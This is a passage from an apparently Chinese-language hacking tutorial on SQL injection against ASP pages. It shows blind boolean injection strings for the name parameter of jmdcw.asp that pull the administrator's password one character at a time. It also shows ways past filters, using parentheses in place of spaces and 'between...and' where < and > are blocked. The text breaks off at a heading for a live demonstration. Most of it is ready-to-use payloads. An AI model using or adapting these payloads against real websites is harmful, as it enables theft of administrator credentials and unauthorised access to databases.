举个例 子说一下, 我们得到一个注入点:jmdcw.asp?name=aa'and 1=1 and ''=', 如果替换其中的1=1为查询管理员的密码的语句:
(select asc(mid(pass,1,1)) from [name] where id=1)>49
如何用空格呢?其实可以写成这样的:
jmdcw.asp?name=aa'and((select(asc(mid(pass,1,1)))from[name]where(id=1))>49)and''='
如果屏蔽了<和>符号, 则用between…and…, 语句是:
jmdcw.asp?name=aa'and((select(asc(mid(pass,1,1)))from[name]where(id=1))between(40)and(50))and''='
对于中间应该出现空格的地方, 用()进行替换, 不过, 对于很复杂的SQL语句就不太好用了。 上面说到的是字符型的, 如果是数值型, 可以在id=1后加一个括号, 不过这个我没有测试,
比如:jmdcw.asp?id=(1)and(select.....), 应该是可行的吧?
实例演示:
……